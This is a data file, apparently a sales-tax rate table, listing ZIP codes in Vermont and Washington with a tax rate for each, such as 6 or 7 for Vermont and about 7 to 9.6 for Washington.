US-VT-05405,US,VT,05405,7,,,, US-VT-05406,US,VT,05406,7,,,, US-VT-05407,US,VT,05407,7,,,, US-VT-05408,US,VT,05408,7,,,, US-VT-05439,US,VT,05439,6,,,, US-VT-05440,US,VT,05440,6,,,, US-VT-05441,US,VT,05441,6,,,, US-VT-05442,US,VT,05442,6,,,, US-VT-05443,US,VT,05443,6,,,, US-VT-05444,US,VT,05444,6,,,, US-VT-05445,US,VT,05445,6,,,, US-VT-05446,US,VT,05446,6,,,, US-VT-05447,US,VT,05447,6,,,, US-VT-05448,US,VT,05448,6,,,, US-VT-05449,US,VT,05449,6,,,, US-VT-05450,US,VT,05450,6,,,, US-VT-05451,US,VT,05451,6,,,, US-VT-05452,US,VT,05452,6,,,, US-VT-05453,US,VT,05453,6,,,, US-VT-05454,US,VT,05454,6,,,, US-VT-05455,US,VT,05455,6,,,, US-VT-05456,US,VT,05456,6,,,, US-VT-05457,US,VT,05457,6,,,, US-VT-05458,US,VT,05458,6,,,, US-VT-05459,US,VT,05459,6,,,, US-VT-05460,US,VT,05460,6,,,, US-VT-05461,US,VT,05461,6,,,, US-VT-05462,US,VT,05462,6,,,, US-VT-05463,US,VT,05463,6,,,, US-VT-05464,US,VT,05464,6,,,, US-VT-05465,US,VT,05465,6,,,, US-VT-05466,US,VT,05466,6,,,, US-VT-05468,US,VT,05468,6,,,, US-VT-05469,US,VT,05469,6,,,, US-VT-05470,US,VT,05470,6,,,, US-VT-05471,US,VT,05471,6,,,, US-VT-05472,US,VT,05472,6,,,, US-VT-05473,US,VT,05473,6,,,, US-VT-05474,US,VT,05474,6,,,, US-VT-05476,US,VT,05476,6,,,, US-VT-05477,US,VT,05477,6,,,, US-VT-05478,US,VT,05478,6,,,, US-VT-05479,US,VT,05479,6,,,, US-VT-05481,US,VT,05481,6,,,, US-VT-05482,US,VT,05482,6,,,, US-VT-05483,US,VT,05483,6,,,, US-VT-05485,US,VT,05485,6,,,, US-VT-05486,US,VT,05486,6,,,, US-VT-05487,US,VT,05487,6,,,, US-VT-05488,US,VT,05488,6,,,, US-VT-05489,US,VT,05489,6,,,, US-VT-05490,US,VT,05490,6,,,, US-VT-05491,US,VT,05491,6,,,, US-VT-05492,US,VT,05492,6,,,, US-VT-05494,US,VT,05494,6,,,, US-VT-05495,US,VT,05495,7,,,, US-VT-05601,US,VT,05601,6,,,, US-VT-05602,US,VT,05602,6,,,, US-VT-05603,US,VT,05603,6,,,, US-VT-05604,US,VT,05604,6,,,, US-VT-05609,US,VT,05609,6,,,, US-VT-05620,US,VT,05620,6,,,, US-VT-05633,US,VT,05633,6,,,, US-VT-05640,US,VT,05640,6,,,, US-VT-05641,US,VT,05641,6,,,, US-VT-05647,US,VT,05647,6,,,, US-VT-05648,US,VT,05648,6,,,, US-VT-05649,US,VT,05649,6,,,, US-VT-05650,US,VT,05650,6,,,, US-VT-05651,US,VT,05651,6,,,, US-VT-05652,US,VT,05652,6,,,, US-VT-05653,US,VT,05653,6,,,, US-VT-05654,US,VT,05654,6,,,, US-VT-05655,US,VT,05655,6,,,, US-VT-05656,US,VT,05656,6,,,, US-VT-05657,US,VT,05657,6,,,, US-VT-05658,US,VT,05658,6,,,, US-VT-05660,US,VT,05660,6,,,, US-VT-05661,US,VT,05661,6,,,, US-VT-05662,US,VT,05662,6,,,, US-VT-05663,US,VT,05663,6,,,, US-VT-05664,US,VT,05664,6,,,, US-VT-05665,US,VT,05665,6,,,, US-VT-05666,US,VT,05666,6,,,, US-VT-05667,US,VT,05667,6,,,, US-VT-05669,US,VT,05669,6,,,, US-VT-05670,US,VT,05670,6,,,, US-VT-05671,US,VT,05671,6,,,, US-VT-05672,US,VT,05672,6,,,, US-VT-05673,US,VT,05673,6,,,, US-VT-05674,US,VT,05674,6,,,, US-VT-05675,US,VT,05675,6,,,, US-VT-05676,US,VT,05676,6,,,, US-VT-05677,US,VT,05677,6,,,, US-VT-05678,US,VT,05678,6,,,, US-VT-05679,US,VT,05679,6,,,, US-VT-05680,US,VT,05680,6,,,, US-VT-05681,US,VT,05681,6,,,, US-VT-05682,US,VT,05682,6,,,, US-VT-05701,US,VT,05701,6,,,, US-VT-05702,US,VT,05702,6,,,, US-VT-05730,US,VT,05730,6,,,, US-VT-05731,US,VT,05731,6,,,, US-VT-05732,US,VT,05732,6,,,, US-VT-05733,US,VT,05733,6,,,, US-VT-05734,US,VT,05734,6,,,, US-VT-05735,US,VT,05735,6,,,, US-VT-05736,US,VT,05736,7,,,, US-VT-05737,US,VT,05737,6,,,, US-VT-05738,US,VT,05738,6,,,, US-VT-05739,US,VT,05739,6,,,, US-VT-05740,US,VT,05740,7,,,, US-VT-05741,US,VT,05741,6,,,, US-VT-05742,US,VT,05742,6,,,, US-VT-05743,US,VT,05743,6,,,, US-VT-05744,US,VT,05744,6,,,, US-VT-05745,US,VT,05745,6,,,, US-VT-05746,US,VT,05746,6,,,, US-VT-05747,US,VT,05747,6,,,, US-VT-05748,US,VT,05748,6,,,, US-VT-05750,US,VT,05750,6,,,, US-VT-05751,US,VT,05751,7,,,, US-VT-05753,US,VT,05753,7,,,, US-VT-05757,US,VT,05757,6,,,, US-VT-05758,US,VT,05758,6,,,, US-VT-05759,US,VT,05759,6,,,, US-VT-05760,US,VT,05760,6,,,, US-VT-05761,US,VT,05761,6,,,, US-VT-05762,US,VT,05762,6,,,, US-VT-05763,US,VT,05763,6,,,, US-VT-05764,US,VT,05764,6,,,, US-VT-05765,US,VT,05765,6,,,, US-VT-05766,US,VT,05766,6,,,, US-VT-05767,US,VT,05767,6,,,, US-VT-05768,US,VT,05768,6,,,, US-VT-05769,US,VT,05769,6,,,, US-VT-05770,US,VT,05770,6,,,, US-VT-05772,US,VT,05772,6,,,, US-VT-05773,US,VT,05773,6,,,, US-VT-05774,US,VT,05774,6,,,, US-VT-05775,US,VT,05775,6,,,, US-VT-05776,US,VT,05776,6,,,, US-VT-05777,US,VT,05777,6,,,, US-VT-05778,US,VT,05778,6,,,, US-VT-05819,US,VT,05819,6,,,, US-VT-05820,US,VT,05820,6,,,, US-VT-05821,US,VT,05821,6,,,, US-VT-05822,US,VT,05822,6,,,, US-VT-05823,US,VT,05823,6,,,, US-VT-05824,US,VT,05824,6,,,, US-VT-05825,US,VT,05825,6,,,, US-VT-05826,US,VT,05826,6,,,, US-VT-05827,US,VT,05827,6,,,, US-VT-05828,US,VT,05828,6,,,, US-VT-05829,US,VT,05829,6,,,, US-VT-05830,US,VT,05830,6,,,, US-VT-05832,US,VT,05832,6,,,, US-VT-05833,US,VT,05833,6,,,, US-VT-05836,US,VT,05836,6,,,, US-VT-05837,US,VT,05837,6,,,, US-VT-05838,US,VT,05838,6,,,, US-VT-05839,US,VT,05839,6,,,, US-VT-05840,US,VT,05840,6,,,, US-VT-05841,US,VT,05841,6,,,, US-VT-05842,US,VT,05842,6,,,, US-VT-05843,US,VT,05843,6,,,, US-VT-05845,US,VT,05845,6,,,, US-VT-05846,US,VT,05846,6,,,, US-VT-05847,US,VT,05847,6,,,, US-VT-05848,US,VT,05848,6,,,, US-VT-05849,US,VT,05849,6,,,, US-VT-05850,US,VT,05850,6,,,, US-VT-05851,US,VT,05851,6,,,, US-VT-05853,US,VT,05853,6,,,, US-VT-05855,US,VT,05855,6,,,, US-VT-05857,US,VT,05857,6,,,, US-VT-05858,US,VT,05858,6,,,, US-VT-05859,US,VT,05859,6,,,, US-VT-05860,US,VT,05860,6,,,, US-VT-05861,US,VT,05861,6,,,, US-VT-05862,US,VT,05862,6,,,, US-VT-05863,US,VT,05863,6,,,, US-VT-05866,US,VT,05866,6,,,, US-VT-05867,US,VT,05867,6,,,, US-VT-05868,US,VT,05868,6,,,, US-VT-05871,US,VT,05871,6,,,, US-VT-05872,US,VT,05872,6,,,, US-VT-05873,US,VT,05873,6,,,, US-VT-05874,US,VT,05874,6,,,, US-VT-05875,US,VT,05875,6,,,, US-VT-05901,US,VT,05901,6,,,, US-VT-05902,US,VT,05902,6,,,, US-VT-05903,US,VT,05903,6,,,, US-VT-05904,US,VT,05904,6,,,, US-VT-05905,US,VT,05905,6,,,, US-VT-05906,US,VT,05906,6,,,, US-VT-05907,US,VT,05907,6,,,, US-WA-98001,US,WA,98001,9.5,,,, US-WA-98002,US,WA,98002,9.5,,,, US-WA-98003,US,WA,98003,9.5,,,, US-WA-98004,US,WA,98004,9.5,,,, US-WA-98005,US,WA,98005,9.5,,,, US-WA-98006,US,WA,98006,9.5,,,, US-WA-98007,US,WA,98007,9.5,,,, US-WA-98008,US,WA,98008,9.5,,,, US-WA-98009,US,WA,98009,9.5,,,, US-WA-98010,US,WA,98010,8.6,,,, US-WA-98011,US,WA,98011,9.5,,,, US-WA-98012,US,WA,98012,9.6,,,, US-WA-98013,US,WA,98013,8.6,,,, US-WA-98014,US,WA,98014,8.6,,,, US-WA-98015,US,WA,98015,9.5,,,, US-WA-98019,US,WA,98019,8.6,,,, US-WA-98020,US,WA,98020,9.5,,,, US-WA-98021,US,WA,98021,9.5,,,, US-WA-98022,US,WA,98022,8.6,,,, US-WA-98023,US,WA,98023,9.5,,,, US-WA-98024,US,WA,98024,8.6,,,, US-WA-98025,US,WA,98025,8.6,,,, US-WA-98026,US,WA,98026,9.5,,,, US-WA-98027,US,WA,98027,9.5,,,, US-WA-98028,US,WA,98028,9.5,,,, US-WA-98029,US,WA,98029,9.5,,,, US-WA-98030,US,WA,98030,9.5,,,, US-WA-98031,US,WA,98031,9.5,,,, US-WA-98032,US,WA,98032,9.5,,,, US-WA-98033,US,WA,98033,9.5,,,, US-WA-98034,US,WA,98034,9.5,,,, US-WA-98035,US,WA,98035,9.5,,,, US-WA-98036,US,WA,98036,9.5,,,, US-WA-98037,US,WA,98037,9.5,,,, US-WA-98038,US,WA,98038,8.6,,,, US-WA-98039,US,WA,98039,9.5,,,, US-WA-98040,US,WA,98040,9.5,,,, US-WA-98041,US,WA,98041,9.5,,,, US-WA-98042,US,WA,98042,8.6,,,, US-WA-98043,US,WA,98043,9.5,,,, US-WA-98045,US,WA,98045,8.6,,,, US-WA-98046,US,WA,98046,9.5,,,, US-WA-98047,US,WA,98047,9.5,,,, US-WA-98050,US,WA,98050,8.6,,,, US-WA-98051,US,WA,98051,8.6,,,, US-WA-98052,US,WA,98052,9.5,,,, US-WA-98053,US,WA,98053,8.6,,,, US-WA-98055,US,WA,98055,9.5,,,, US-WA-98056,US,WA,98056,9.5,,,, US-WA-98057,US,WA,98057,9.5,,,, US-WA-98058,US,WA,98058,9.5,,,, US-WA-98059,US,WA,98059,9.5,,,, US-WA-98061,US,WA,98061,8.6,,,, US-WA-98062,US,WA,98062,9.5,,,, US-WA-98063,US,WA,98063,9.5,,,, US-WA-98064,US,WA,98064,9.5,,,, US-WA-98065,US,WA,98065,8.6,,,, US-WA-98068,US,WA,98068,8.8,,,, US-WA-98070,US,WA,98070,8.6,,,, US-WA-98071,US,WA,98071,9.5,,,, US-WA-98072,US,WA,98072,9.5,,,, US-WA-98073,US,WA,98073,9.5,,,, US-WA-98074,US,WA,98074,9.5,,,, US-WA-98075,US,WA,98075,9.5,,,, US-WA-98077,US,WA,98077,8.6,,,, US-WA-98082,US,WA,98082,9.6,,,, US-WA-98083,US,WA,98083,9.5,,,, US-WA-98087,US,WA,98087,9.5,,,, US-WA-98089,US,WA,98089,9.5,,,, US-WA-98092,US,WA,98092,9.5,,,, US-WA-98093,US,WA,98093,9.5,,,, US-WA-98101,US,WA,98101,9.5,,,, US-WA-98102,US,WA,98102,9.5,,,, US-WA-98103,US,WA,98103,9.5,,,, US-WA-98104,US,WA,98104,9.5,,,, US-WA-98105,US,WA,98105,9.5,,,, US-WA-98106,US,WA,98106,9.5,,,, US-WA-98107,US,WA,98107,9.5,,,, US-WA-98108,US,WA,98108,9.5,,,, US-WA-98109,US,WA,98109,9.5,,,, US-WA-98110,US,WA,98110,8.6,,,, US-WA-98111,US,WA,98111,9.5,,,, US-WA-98112,US,WA,98112,9.5,,,, US-WA-98113,US,WA,98113,9.5,,,, US-WA-98114,US,WA,98114,9.5,,,, US-WA-98115,US,WA,98115,9.5,,,, US-WA-98116,US,WA,98116,9.5,,,, US-WA-98117,US,WA,98117,9.5,,,, US-WA-98118,US,WA,98118,9.5,,,, US-WA-98119,US,WA,98119,9.5,,,, US-WA-98121,US,WA,98121,9.5,,,, US-WA-98122,US,WA,98122,9.5,,,, US-WA-98124,US,WA,98124,9.5,,,, US-WA-98125,US,WA,98125,9.5,,,, US-WA-98126,US,WA,98126,9.5,,,, US-WA-98127,US,WA,98127,9.5,,,, US-WA-98129,US,WA,98129,9.5,,,, US-WA-98131,US,WA,98131,9.5,,,, US-WA-98132,US,WA,98132,9.5,,,, US-WA-98133,US,WA,98133,9.5,,,, US-WA-98134,US,WA,98134,9.5,,,, US-WA-98136,US,WA,98136,9.5,,,, US-WA-98138,US,WA,98138,9.5,,,, US-WA-98139,US,WA,98139,9.5,,,, US-WA-98141,US,WA,98141,9.5,,,, US-WA-98144,US,WA,98144,9.5,,,, US-WA-98145,US,WA,98145,9.5,,,, US-WA-98146,US,WA,98146,9.5,,,, US-WA-98148,US,WA,98148,9.5,,,, US-WA-98154,US,WA,98154,9.5,,,, US-WA-98155,US,WA,98155,9.5,,,, US-WA-98158,US,WA,98158,9.5,,,, US-WA-98160,US,WA,98160,9.5,,,, US-WA-98161,US,WA,98161,9.5,,,, US-WA-98164,US,WA,98164,9.5,,,, US-WA-98165,US,WA,98165,9.5,,,, US-WA-98166,US,WA,98166,9.5,,,, US-WA-98168,US,WA,98168,9.5,,,, US-WA-98170,US,WA,98170,9.5,,,, US-WA-98174,US,WA,98174,9.5,,,, US-WA-98175,US,WA,98175,9.5,,,, US-WA-98177,US,WA,98177,9.5,,,, US-WA-98178,US,WA,98178,9.5,,,, US-WA-98181,US,WA,98181,9.5,,,, US-WA-98185,US,WA,98185,9.5,,,, US-WA-98188,US,WA,98188,9.5,,,, US-WA-98189,US,WA,98189,9.5,,,, US-WA-98190,US,WA,98190,9.5,,,, US-WA-98191,US,WA,98191,9.5,,,, US-WA-98194,US,WA,98194,9.5,,,, US-WA-98195,US,WA,98195,9.5,,,, US-WA-98198,US,WA,98198,9.5,,,, US-WA-98199,US,WA,98199,9.5,,,, US-WA-98201,US,WA,98201,9.2,,,, US-WA-98203,US,WA,98203,9.2,,,, US-WA-98204,US,WA,98204,9.5,,,, US-WA-98205,US,WA,98205,9.2,,,, US-WA-98206,US,WA,98206,9.5,,,, US-WA-98207,US,WA,98207,9.2,,,, US-WA-98208,US,WA,98208,9.5,,,, US-WA-98213,US,WA,98213,9.2,,,, US-WA-98220,US,WA,98220,8.5,,,, US-WA-98221,US,WA,98221,8.2,,,, US-WA-98222,US,WA,98222,8.1,,,, US-WA-98223,US,WA,98223,8.6,,,, US-WA-98224,US,WA,98224,8.6,,,, US-WA-98225,US,WA,98225,8.7,,,, US-WA-98226,US,WA,98226,8.7,,,, US-WA-98227,US,WA,98227,8.7,,,, US-WA-98228,US,WA,98228,8.7,,,, US-WA-98229,US,WA,98229,8.7,,,, US-WA-98230,US,WA,98230,8.5,,,, US-WA-98231,US,WA,98231,8.5,,,, US-WA-98232,US,WA,98232,8.2,,,, US-WA-98233,US,WA,98233,8.2,,,, US-WA-98235,US,WA,98235,8.2,,,, US-WA-98236,US,WA,98236,8.7,,,, US-WA-98237,US,WA,98237,8.2,,,, US-WA-98238,US,WA,98238,7.8,,,, US-WA-98239,US,WA,98239,8.7,,,, US-WA-98240,US,WA,98240,8.5,,,, US-WA-98241,US,WA,98241,8.6,,,, US-WA-98243,US,WA,98243,8.1,,,, US-WA-98244,US,WA,98244,8.5,,,, US-WA-98245,US,WA,98245,8.1,,,, US-WA-98247,US,WA,98247,8.5,,,, US-WA-98248,US,WA,98248,8.7,,,, US-WA-98249,US,WA,98249,8.7,,,, US-WA-98250,US,WA,98250,8.1,,,, US-WA-98251,US,WA,98251,8.6,,,, US-WA-98252,US,WA,98252,8.6,,,, US-WA-98253,US,WA,98253,8.7,,,, US-WA-98255,US,WA,98255,8.2,,,, US-WA-98256,US,WA,98256,8.6,,,, US-WA-98257,US,WA,98257,7.8,,,, US-WA-98258,US,WA,98258,8.6,,,, US-WA-98259,US,WA,98259,8.6,,,, US-WA-98260,US,WA,98260,8.7,,,, US-WA-98261,US,WA,98261,8.1,,,, US-WA-98262,US,WA,98262,8.5,,,, US-WA-98263,US,WA,98263,8.2,,,, US-WA-98264,US,WA,98264,8.7,,,, US-WA-98266,US,WA,98266,8.5,,,, US-WA-98267,US,WA,98267,8.2,,,, US-WA-98270,US,WA,98270,8.6,,,, US-WA-98271,US,WA,98271,8.6,,,, US-WA-98272,US,WA,98272,8.6,,,, US-WA-98273,US,WA,98273,8.2,,,, US-WA-98274,US,WA,98274,8.2,,,, US-WA-98275,US,WA,98275,9.5,,,, US-WA-98276,US,WA,98276,8.5,,,, US-WA-98277,US,WA,98277,8.7,,,, US-WA-98278,US,WA,98278,8.7,,,, US-WA-98279,US,WA,98279,8.1,,,, US-WA-98280,US,WA,98280,8.1,,,, US-WA-98281,US,WA,98281,8.5,,,, US-WA-98282,US,WA,98282,8.7,,,, US-WA-98283,US,WA,98283,8.2,,,, US-WA-98284,US,WA,98284,8.2,,,, US-WA-98286,US,WA,98286,8.1,,,, US-WA-98287,US,WA,98287,8.6,,,, US-WA-98288,US,WA,98288,8.6,,,, US-WA-98290,US,WA,98290,7.7,,,, US-WA-98291,US,WA,98291,8.8,,,, US-WA-98292,US,WA,98292,7.7,,,, US-WA-98293,US,WA,98293,8.6,,,, US-WA-98294,US,WA,98294,8.6,,,, US-WA-98295,US,WA,98295,8.5,,,, US-WA-98296,US,WA,98296,7.7,,,, US-WA-98297,US,WA,98297,8.1,,,, US-WA-98303,US,WA,98303,7.9,,,, US-WA-98304,US,WA,98304,7.9,,,, US-WA-98305,US,WA,98305,8.4,,,, US-WA-98310,US,WA,98310,8.6,,,, US-WA-98311,US,WA,98311,8.6,,,, US-WA-98312,US,WA,98312,8.6,,,, US-WA-98314,US,WA,98314,8.6,,,, US-WA-98315,US,WA,98315,8.6,,,, US-WA-98320,US,WA,98320,9,,,, US-WA-98321,US,WA,98321,7.9,,,, US-WA-98322,US,WA,98322,8.6,,,, US-WA-98323,US,WA,98323,7.9,,,, US-WA-98324,US,WA,98324,8.4,,,, US-WA-98325,US,WA,98325,9,,,, US-WA-98326,US,WA,98326,8.4,,,, US-WA-98327,US,WA,98327,8.8,,,, US-WA-98328,US,WA,98328,7.9,,,, US-WA-98329,US,WA,98329,7.9,,,, US-WA-98330,US,WA,98330,7.9,,,, US-WA-98331,US,WA,98331,8.4,,,, US-WA-98332,US,WA,98332,7.9,,,, US-WA-98333,US,WA,98333,7.9,,,, US-WA-98335,US,WA,98335,7.9,,,, US-WA-98336,US,WA,98336,7.8,,,, US-WA-98337,US,WA,98337,8.6,,,, US-WA-98338,US,WA,98338,7.9,,,, US-WA-98339,US,WA,98339,9,,,, US-WA-98340,US,WA,98340,8.6,,,, US-WA-98342,US,WA,98342,8.6,,,, US-WA-98343,US,WA,98343,8.4,,,, US-WA-98344,US,WA,98344,7.9,,,, US-WA-98345,US,WA,98345,8.6,,,, US-WA-98346,US,WA,98346,8.6,,,, US-WA-98348,US,WA,98348,7.9,,,, US-WA-98349,US,WA,98349,7.9,,,, US-WA-98350,US,WA,98350,8.4,,,, US-WA-98351,US,WA,98351,7.9,,,, US-WA-98352,US,WA,98352,8.8,,,, US-WA-98353,US,WA,98353,8.6,,,, US-WA-98354,US,WA,98354,9.4,,,, US-WA-98355,US,WA,98355,7.8,,,, US-WA-98356,US,WA,98356,7.8,,,, US-WA-98357,US,WA,98357,8.4,,,, US-WA-98358,US,WA,98358,9,,,, US-WA-98359,US,WA,98359,8.6,,,, US-WA-98360,US,WA,98360,7.9,,,, US-WA-98361,US,WA,98361,7.8,,,, US-WA-98362,US,WA,98362,8.4,,,, US-WA-98363,US,WA,98363,8.4,,,, US-WA-98364,US,WA,98364,8.6,,,, US-WA-98365,US,WA,98365,9,,,, US-WA-98366,US,WA,98366,8.6,,,, US-WA-98367,US,WA,98367,8.6,,,, US-WA-98368,US,WA,98368,9,,,, US-WA-98370,US,WA,98370,8.6,,,, US-WA-98371,US,WA,98371,9.4,,,, US-WA-98372,US,WA,98372,9.4,,,, US-WA-98373,US,WA,98373,9.4,,,, US-WA-98374,US,WA,98374,9.4,,,, US-WA-98375,US,WA,98375,8.8,,,, US-WA-98376,US,WA,98376,9,,,, US-WA-98377,US,WA,98377,7.8,,,, US-WA-98378,US,WA,98378,8.6,,,, US-WA-98380,US,WA,98380,8.6,,,, US-WA-98381,US,WA,98381,8.4,,,, US-WA-98382,US,WA,98382,8.4,,,, US-WA-98383,US,WA,98383,8.6,,,, US-WA-98384,US,WA,98384,8.6,,,, US-WA-98385,US,WA,98385,7.9,,,, US-WA-98386,US,WA,98386,8.6,,,, US-WA-98387,US,WA,98387,9.4,,,, US-WA-98388,US,WA,98388,9.4,,,, US-WA-98390,US,WA,98390,8.8,,,, US-WA-98391,US,WA,98391,8.8,,,, US-WA-98392,US,WA,98392,8.6,,,, US-WA-98393,US,WA,98393,8.6,,,, US-WA-98394,US,WA,98394,7.9,,,, US-WA-98395,US,WA,98395,7.9,,,, US-WA-98396,US,WA,98396,7.9,,,, US-WA-98397,US,WA,98397,7.9,,,, US-WA-98398,US,WA,98398,7.9,,,, US-WA-98401,US,WA,98401,9.5,,,, US-WA-98402,US,WA,98402,9.5,,,, US-WA-98403,US,WA,98403,9.5,,,, US-WA-98404,US,WA,98404,9.5,,,, US-WA-98405,US,WA,98405,9.5,,,, US-WA-98406,US,WA,98406,9.5,,,, US-WA-98407,US,WA,98407,9.5,,,, US-WA-98408,US,WA,98408,9.5,,,, US-WA-98409,US,WA,98409,9.5,,,, US-WA-98411,US,WA,98411,9.5,,,, US-WA-98412,US,WA,98412,9.5,,,, US-WA-98413,US,WA,98413,9.5,,,, US-WA-98415,US,WA,98415,9.5,,,, US-WA-98416,US,WA,98416,9.5,,,, US-WA-98417,US,WA,98417,9.5,,,, US-WA-98418,US,WA,98418,9.5,,,, US-WA-98419,US,WA,98419,9.5,,,, US-WA-98421,US,WA,98421,9.5,,,, US-WA-98422,US,WA,98422,9.5,,,, US-WA-98424,US,WA,98424,9.4,,,, US-WA-98430,US,WA,98430,9.5,,,, US-WA-98431,US,WA,98431,9.5,,,, US-WA-98433,US,WA,98433,8.8,,,, US-WA-98438,US,WA,98438,8.8,,,, US-WA-98439,US,WA,98439,9.4,,,, US-WA-98443,US,WA,98443,9.4,,,, US-WA-98444,US,WA,98444,9.4,,,, US-WA-98445,US,WA,98445,9.4,,,, US-WA-98446,US,WA,98446,8.8,,,, US-WA-98447,US,WA,98447,9.4,,,, US-WA-98448,US,WA,98448,9.5,,,, US-WA-98464,US,WA,98464,9.4,,,, US-WA-98465,US,WA,98465,9.5,,,, US-WA-98466,US,WA,98466,9.4,,,, US-WA-98467,US,WA,98467,9.4,,,, US-WA-98471,US,WA,98471,9.5,,,, US-WA-98481,US,WA,98481,9.5,,,, US-WA-98490,US,WA,98490,9.5,,,, US-WA-98493,US,WA,98493,9.5,,,, US-WA-98496,US,WA,98496,9.4,,,, US-WA-98497,US,WA,98497,9.5,,,, US-WA-98498,US,WA,98498,9.4,,,, US-WA-98499,US,WA,98499,9.4,,,, US-WA-98501,US,WA,98501,8.8,,,, US-WA-98502,US,WA,98502,8.8,,,, US-WA-98503,US,WA,98503,8.7,,,, US-WA-98504,US,WA,98504,8.8,,,, US-WA-98505,US,WA,98505,8.7,,,, US-WA-98506,US,WA,98506,8.8,,,, US-WA-98507,US,WA,98507,8.8,,,, US-WA-98508,US,WA,98508,8.8,,,, US-WA-98509,US,WA,98509,8.7,,,, US-WA-98511,US,WA,98511,8.7,,,, US-WA-98512,US,WA,98512,8.7,,,, US-WA-98513,US,WA,98513,8.7,,,, US-WA-98516,US,WA,98516,7.9,,,, US-WA-98520,US,WA,98520,8.53,,,, US-WA-98522,US,WA,98522,7.8,,,, US-WA-98524,US,WA,98524,8.5,,,, US-WA-98526,US,WA,98526,8.4,,,, US-WA-98527,US,WA,98527,7.8,,,, US-WA-98528,US,WA,98528,8.5,,,, US-WA-98530,US,WA,98530,7.9,,,, US-WA-98531,US,WA,98531,8,,,, US-WA-98532,US,WA,98532,8,,,, US-WA-98533,US,WA,98533,7.8,,,, US-WA-98535,US,WA,98535,8.4,,,, US-WA-98536,US,WA,98536,8.4,,,, US-WA-98537,US,WA,98537,8.4,,,, US-WA-98538,US,WA,98538,7.8,,,, US-WA-98539,US,WA,98539,7.8,,,, US-WA-98540,US,WA,98540,7.9,,,, US-WA-98541,US,WA,98541,8.4,,,, US-WA-98542,US,WA,98542,7.8,,,, US-WA-98544,US,WA,98544,7.8,,,, US-WA-98546,US,WA,98546,8.5,,,, US-WA-98547,US,WA,98547,7.8,,,, US-WA-98548,US,WA,98548,8.5,,,, US-WA-98550,US,WA,98550,8.4,,,, US-WA-98552,US,WA,98552,8.4,,,, US-WA-98554,US,WA,98554,7.8,,,, US-WA-98555,US,WA,98555,8.5,,,, US-WA-98556,US,WA,98556,7.9,,,, US-WA-98557,US,WA,98557,8.4,,,, US-WA-98558,US,WA,98558,7.9,,,, US-WA-98559,US,WA,98559,8.4,,,, US-WA-98560,US,WA,98560,8.5,,,, US-WA-98561,US,WA,98561,7.8,,,, US-WA-98562,US,WA,98562,8.4,,,, US-WA-98563,US,WA,98563,8.4,,,, US-WA-98564,US,WA,98564,7.8,,,, US-WA-98565,US,WA,98565,7.8,,,, US-WA-98566,US,WA,98566,8.4,,,, US-WA-98568,US,WA,98568,8.4,,,, US-WA-98569,US,WA,98569,8.4,,,, US-WA-98570,US,WA,98570,7.8,,,, US-WA-98571,US,WA,98571,8.4,,,, US-WA-98572,US,WA,98572,7.8,,,, US-WA-98575,US,WA,98575,8.4,,,, US-WA-98576,US,WA,98576,7.9,,,, US-WA-98577,US,WA,98577,7.8,,,, US-WA-98579,US,WA,98579,7.9,,,, US-WA-98580,US,WA,98580,7.9,,,, US-WA-98581,US,WA,98581,7.7,,,, US-WA-98582,US,WA,98582,7.8,,,, US-WA-98583,US,WA,98583,8.4,,,, US-WA-98584,US,WA,98584,8.5,,,, US-WA-98585,US,WA,98585,7.8,,,, US-WA-98586,US,WA,98586,7.8,,,, US-WA-98587,US,WA,98587,8.4,,,, US-WA-98588,US,WA,98588,8.5,,,, US-WA-98589,US,WA,98589,7.9,,,, US-WA-98590,US,WA,98590,7.8,,,, US-WA-98591,US,WA,98591,7.8,,,, US-WA-98592,US,WA,98592,8.5,,,, US-WA-98593,US,WA,98593,7.8,,,, US-WA-98595,US,WA,98595,8.4,,,, US-WA-98596,US,WA,98596,7.8,,,, US-WA-98597,US,WA,98597,7.9,,,, US-WA-98599,US,WA,98599,8.8,,,, US-WA-98601,US,WA,98601,7.7,,,, US-WA-98602,US,WA,98602,7,,,, US-WA-98603,US,WA,98603,7.7,,,, US-WA-98604,US,WA,98604,7.7,,,, US-WA-98605,US,WA,98605,7.5,,,, US-WA-98606,US,WA,98606,7.7,,,, US-WA-98607,US,WA,98607,8.4,,,, US-WA-98609,US,WA,98609,7.7,,,, US-WA-98610,US,WA,98610,7.7,,,, US-WA-98611,US,WA,98611,7.7,,,, US-WA-98612,US,WA,98612,7.6,,,, US-WA-98613,US,WA,98613,7,,,, US-WA-98614,US,WA,98614,7.8,,,, US-WA-98616,US,WA,98616,7.7,,,, US-WA-98617,US,WA,98617,7,,,, US-WA-98619,US,WA,98619,7,,,, US-WA-98620,US,WA,98620,7,,,, US-WA-98621,US,WA,98621,7.6,,,, US-WA-98622,US,WA,98622,8.4,,,, US-WA-98623,US,WA,98623,7,,,, US-WA-98624,US,WA,98624,7.8,,,, US-WA-98625,US,WA,98625,7.7,,,, US-WA-98626,US,WA,98626,8,,,, US-WA-98628,US,WA,98628,7,,,, US-WA-98629,US,WA,98629,7.7,,,, US-WA-98631,US,WA,98631,7.8,,,, US-WA-98632,US,WA,98632,8,,,, US-WA-98635,US,WA,98635,7,,,, US-WA-98637,US,WA,98637,7.8,,,, US-WA-98638,US,WA,98638,7.8,,,, US-WA-98639,US,WA,98639,7.7,,,, US-WA-98640,US,WA,98640,7.8,,,, US-WA-98641,US,WA,98641,7.8,,,, US-WA-98642,US,WA,98642,7.7,,,, US-WA-98643,US,WA,98643,7.6,,,, US-WA-98644,US,WA,98644,7.8,,,, US-WA-98645,US,WA,98645,7.7,,,, US-WA-98647,US,WA,98647,7.6,,,, US-WA-98648,US,WA,98648,7.7,,,, US-WA-98649,US,WA,98649,7.7,,,, US-WA-98650,US,WA,98650,7,,,, US-WA-98651,US,WA,98651,7.7,,,, US-WA-98660,US,WA,98660,8.4,,,, US-WA-98661,US,WA,98661,8.4,,,, US-WA-98662,US,WA,98662,8.4,,,, US-WA-98663,US,WA,98663,8.4,,,, US-WA-98664,US,WA,98664,8.4,,,, US-WA-98665,US,WA,98665,8.4,,,, US-WA-98666,US,WA,98666,8.4,,,, US-WA-98668,US,WA,98668,8.4,,,, US-WA-98670,US,WA,98670,7,,,, US-WA-98671,US,WA,98671,8.4,,,, US-WA-98672,US,WA,98672,7,,,, US-WA-98673,US,WA,98673,7,,,, US-WA-98674,US,WA,98674,7.7,,,, US-WA-98675,US,WA,98675,7.7,,,, US-WA-98682,US,WA,98682,8.4,,,, US-WA-98683,US,WA,98683,8.4,,,, US-WA-98684,US,WA,98684,8.4,,,, US-WA-98685,US,WA,98685,8.4,,,, US-WA-98686,US,WA,98686,8.4,,,, US-WA-98687,US,WA,98687,8.4,,,, US-WA-98801,US,WA,98801,8.4,,,, 